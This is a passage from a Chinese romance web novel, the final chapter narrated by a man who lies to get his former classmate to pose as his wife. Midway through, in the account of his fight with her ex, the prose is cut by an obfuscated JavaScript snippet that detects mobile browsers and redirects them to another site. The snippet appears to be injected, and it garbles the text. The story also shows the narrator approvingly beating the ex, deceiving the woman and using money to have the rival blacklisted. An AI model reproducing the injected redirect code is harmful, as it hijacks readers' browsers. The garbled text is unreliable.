网络都上，说分手三个月才能考虑找下一任，但我觉得李君同这么坚强的人，三天就可以了。我有点着急的，另一方面是我听说池建生还不依不饶，不同意分手，他极有可能死缠烂打。 你要是吃回头草怎么办？ 那是我有史以来最纠结的一个夜晚，要不要做些什么？尽管我觉得以你那洒脱爽利的脾性，分手就是分手了，绝无可能再有回头路，但是我也不确定，与你有关的事，我总是很迟疑。 但正如我所说，虽然我不大勇敢，但是我那总是很灵验的第六感告诉我，现在，就是现在，现在就是把我所剩不多的筹码ALL IN的时候，现在就是SHOW HAND的时候，赌上了全部。 去编造一个为你而生的谎言。 我说：“我需要你扮演我的妻子。” 20. Chapter 20 终于，我见到你。 时隔多年了。 好多年过去了，岁月没有在你脸上留下痕迹，相反，你脸颊上本就少许的肉更紧绷，骨相更突出，你的脸更完美了。我真惭愧，我费尽心思打扮自己，一大早就开始忙活，结果还不如你的一根发丝。你不知道，我在街角看到你，萧瑟的风儿那么合时宜，吹动你耳畔边的发丝。 明艳动人。 我就一直站在那儿，走上前也不是，退后也不是，跟你说话也不是，沉默也不是，我被你给美到了，竟然这么美，比电影里见到的漂亮多了。没人告诉我你这么美啊，我都要疯掉了。 终于，我找回自己的声音，开口叫你。第三遍你才朝我看过来，这不怪你，都是我的问题，你只是被景色吸引了注意力，而我又没有漂亮到让你注意到我。你朝我走过来，喊我同桌。 可爱。 好喜欢。 我要控制不住自己的嘴角了。 我这廉价的笑容，同事们都说它很稀缺，可一见到你，就泛滥得不要钱似的。我还是没长进，你一带着缱绻的笑意接近我，我就想傻乎乎地陪着你笑。好在我现在已经很能按捺住心事了。 我们浅短地交流一番，你说很意外我拜托你扮演我的妻子，觉得很莫名。我心里咯噔一下，就慌了，问你到底做不做。如果你不做的话，我就……我真不知道该怎么继续下去，还好你说你演，我松了口气。其实我唯一的筹码就是钱了，我知道你最近手头紧，你不太好拒绝。 我比较卑劣。 我是这样认为的，拿钱留住你，你不知道吧？我其实品行不错的，唯独在挽留你这件事上，成了一个卑劣的男人，甚至撒了一个自己都觉得可笑的谎，好在足够骗过你，就不算拙劣。 你问我该怎么演，有什么想法，说实话，我唯一的想法就是和你在同一本户口本上，因为我这么多年来都是这样严格地要求自己。一开始我只假装自己是你的男朋友，但是，那样和你有男朋友的事实冲突了，我再怎么蒙住眼睛捂住耳朵，也骗不了自己。我索性扮演你的丈夫。 我感觉自己是有点大智慧在身上的，因为这样正好，我是你的丈夫，和你有男朋友的事就不冲突了，再说你和池建生只是玩玩而已，不是没有这种可能，毕竟他作为你消遣的对象勉强够格，但作为丈夫，就有点配不上了。而我，现在我的身价，怎么看来也比他的优势大一点。 我知道在你看来，只是演一份剧本而已，但是在我看来，即便和你只扮演一天的夫妻，我也有一天的幸福可以享受。有的时候即便你不扮演，我压根不需要，一想到我是你名副其实的配偶，我都为此而欣慰，有种自己苦了这么多年，终于完成了理想的充实感。我很清楚等你结束契约的那一天，我的幸福就结束了，我就跟电影里的亡命徒一样，有一天活头就是一天。 你在我身边的一天，挽住我胳膊笑着和我家里人打招呼的一天，和我产生哪怕一点点交集的一天，都是我最棒的一天。你不知道我爱你的每一天，其实都是我最侥幸、最自得的一天。 还有，时隔许多年，你又在黎家老宅里留宿，我真不敢想象你又踏进这个充满了我们的回忆的地方。你看起来有点不情愿，我却深陷在过去和你在一起的点点滴滴，你提起我们曾经还同床共枕，你还记得，我的心剧烈地跳动，浑身都是暖洋洋的，你再说下去，我就忍不住把你抱住，往床上躺去，恐怕那就吓得你立刻夺门而出了。所以我虽然很想，但是也要忍住。 你拿起那只随身听。 你惊讶地感慨居然还能用，我想说，它的电池不太好，你离开的第二年它就坏了，我特意找师傅去修了。我没有选择带走它，而是把它放在有你生活过的房间，好像它原本就属于这里，就像你一样。每隔一段时间我就回老宅陪陪它，打扫你的房间，我一直在听你录的那些东西。 “I love you。” 这句我自己说过的话，被电磁失了真，却勾起了许多尘封的回忆。我想起围绕着这句话发生的种种，想起我为了争夺它，不小心把你扑倒在床上，你错愕地看着我，我呢，脸红心跳。 我从那时候就爱上你了吗？ 或者更早？ 事到如今，经过时光的检验，我才好意思把“喜欢”替换成更真挚的词语——“爱”。虽然英文都是“Love”，但是两者的意义大不相同。我有底气这么说，我是最爱你的，因为比起喜欢你的时长，没有人比我更多，没有人比我更能坚持爱你这件事，我已经坚持了十年了。 那些浅短的缘分，朝花夕拾，朝令夕改，我不羡慕。我想要的不仅仅是和你共同走过一段，我想成为你的归宿。可是，留给我的时间不多了，如果没能在这段重逢后的相处里令你动心，我想我大概是玩完了，这么多年我都活不明白，我对你的喜欢就像那句中断的“I love——” 我借此喊出： 李君同。 我喜欢你。 我爱你。 依旧是胆小鬼，只敢让那道机械的声音替我告白。我看到你一瞬间的错愕，我问你随身听还要不要，你笑着说这老掉牙的玩意谁要啊。对啊，谁会要，我会，我守着以前的回忆过活。 是我。 还是我。 由此我心灰意冷，明白你对我并没有多余的想法，许多年前是这样，许多年后还是一样的。可我已经不明白自己还有哪里没做对，我难道不是正解吗？我因此辗转反侧了一整个晚上，你睡床，我睡沙发，望着你安然入睡的容颜，我百思不得其解，一直盯着你，快乐又困惑。 怎么样才能让你爱上我呢？ 为你戴上订婚的戒指，我看着你在我的指骨和你手的缝隙间，落下一吻。你明亮而通透的眸，让我浑身被电流穿梭而过，那股酥痒的麻意直击我的头盖骨，就好像你吻的是我的唇一样。 我没有令你爱上我的本领，然而，你却对如何让我爱上你这件事信手拈来，根本无需耗费心思，你一个眼神，我的心就忍不住朝你飞去。我忍不住想把你抱起来转个圈，订婚的好日子，真是天大的好日子啊！和你在一起的每一天都是好日子，真应该找个纪录片的导演，让他都记录下来，等你跟我离婚之后我就看，即便眼泪流个不停，痛得呼吸不过来，我也要一直看。 谁来劝都不行。 还有一些你不知道的事，是我到棺材里都不会告诉你的。是即便你用那样可爱的笑容盘问我，或者用柔软的眼泪逼问我，我都不会说的。那天订婚我发了朋友圈，我是故意叫熟人转发给池建生看的，他兴师问罪地来，我毫不意外，我就是要让他看到你和我最最幸福的模样，叫这个贱人气死。你下车应付他的时候，我恨不得贴着车窗听每一句话，我感觉解气得要命。 我也不会告诉你， 你上楼之后发生的事。 池建生气得要发疯了，就和当时我得知你有男朋友的时候，如出一辙。我看他就像看到过去的我，那种感觉真令我生厌。他指着我的鼻子骂我小三，后来者居上，说当初我摸黑揍他的时候他就该察觉出不对劲，现在我撬了他的墙角，他后悔莫及。我冷静地说那你就揍回来啊。 他给了我一拳。 他该学点法律的，这让我有了正当防卫的理由，我立刻还了他一拳。我健身很多年了，自己也知道那一拳有多重，他被我直接打得口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808395|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔出血，捂着脸，见鬼一样看着我。我以非常清晰的头脑去和他辩驳到底谁才是小三，我说我和你要好的时候，他还在写五年高考三年模拟呢，从时间上，先来的是我，后到的是他，从身份上来说，我是你的未婚夫，他只不过前任而已。 小三，小三，我脚上使了很大的力气去踢他，这么多年他才是小三，占着你的身边不松口，他真该要点脸的，他恬不知耻的模样让我恶心极了，我恨他，说实话，这些年我恨池建生恨得面目狰狞，咬牙切齿，痛不欲生。如果挨上这几脚，能霸占你那么多年，疼死我也认了。 最后我把他踢得快要晕过去了，才停下来，让司机打电话给警察处理这件事。他还不死心地要找你复合，威胁我说要把我揍他说给你听。我是一个很没用的人，唯一有的就是一些钱，恰好这些钱能买动一些关系，恰好这些关系能够封杀他。我一直是一个很有道德的人，我不做强迫人的事情，但是有些事不得不做，有人想要破坏我为数不多的幸福，我也咬牙做得。 他问我这么狂，就不怕你知道之后生气，毕竟你一向很反感别人干涉你。我觉得你是没机会知道的，这些事我都做得很周密，绝对不会让你发现，其次，我在你心目中一直很单纯无害。 我会继续保持下去的。 正如此时此刻，你对我诉说你的秘密，说到一半，手却忍不住去抓滑落到指尖的阳光，我就贪恋那道能被你抓住的光束。没有什么是你费尽心思去抢，还是抢不到的，我不允许那样。我立刻附上你的手背，替你攥紧了那道阳光，借此再与你十指相扣。去吻你渐渐安睡的面庞。 你不知道，李君同，每一次被你亲吻，我都是清醒的。你发烧的时候我去照顾你的那一晚，当你偷偷亲吻我的时候，我也没醒，无论你是再一次出于玩味，还是真的对我有那么点心思，我想说的是，这次我都不会轻易放过你了。我蛰伏了十年，等待的就是这样一个上位的机会。 倘若你爱我，我会因此而欣喜，但如果你不爱我，我也不会感到过分气馁。因为我自始至终都抱着一无所有、破釜沉舟的心态去办成这一切。我从未拥有过你的爱，就不害怕失去了。很多时候人都要咬紧牙关地迈出这一步，尽管可能一无所有，但也不要害怕，这个就是勇气。 就朝我走一步吧，剩下的九十九步我都向你走过去。这么多年我都这么过来了，吃苦就是我应该做的。在新婚之夜，你问我爱不爱你，我走上前去抱住你，我都无法确认自己的眼泪究竟是真情流露，还是有几分扮演的程度。我太害怕了，如果你又是在玩弄我，该怎么办才好？ 害怕的我，伤心无措的我，这么多年来这样喜欢你的我，你也愿意接受吗？把我抱在怀里，求你，我真的真的很喜欢这样，被你拥抱过，我就不害怕孤单了，我就能抵挡所有的风暴。 你说要上我，你不知道我比你更心急，我恨不得一晚上跟你把一辈子都过完，免得你第二天再反悔，那时候一切都完了，我也不会认的，我就死皮赖脸，说我已经给你了，你不能抵赖。 啊，那些都是你睡醒之后的事。 现在，我还非常兴奋，意犹未尽，趁着你熟睡的时候，用我干燥的嘴唇去勾勒你，你高耸的眉弓，深邃的眼窝，你锋利的鼻梁，还有柔软而令我梦寐以求的嘴唇。你身上一切的一切，仅仅是呼吸一口你的气息，都让我的心无比安宁，血液无比澎湃。拥有你，我最后的愿望，是我留在愿望清单上的第一百项，是我那空缺的企图，如果能做到，死了也可以，也不错。 我再一次高兴地想， 找你来扮演我的妻子， 真是我这辈子做过最正确的事。 -正文完-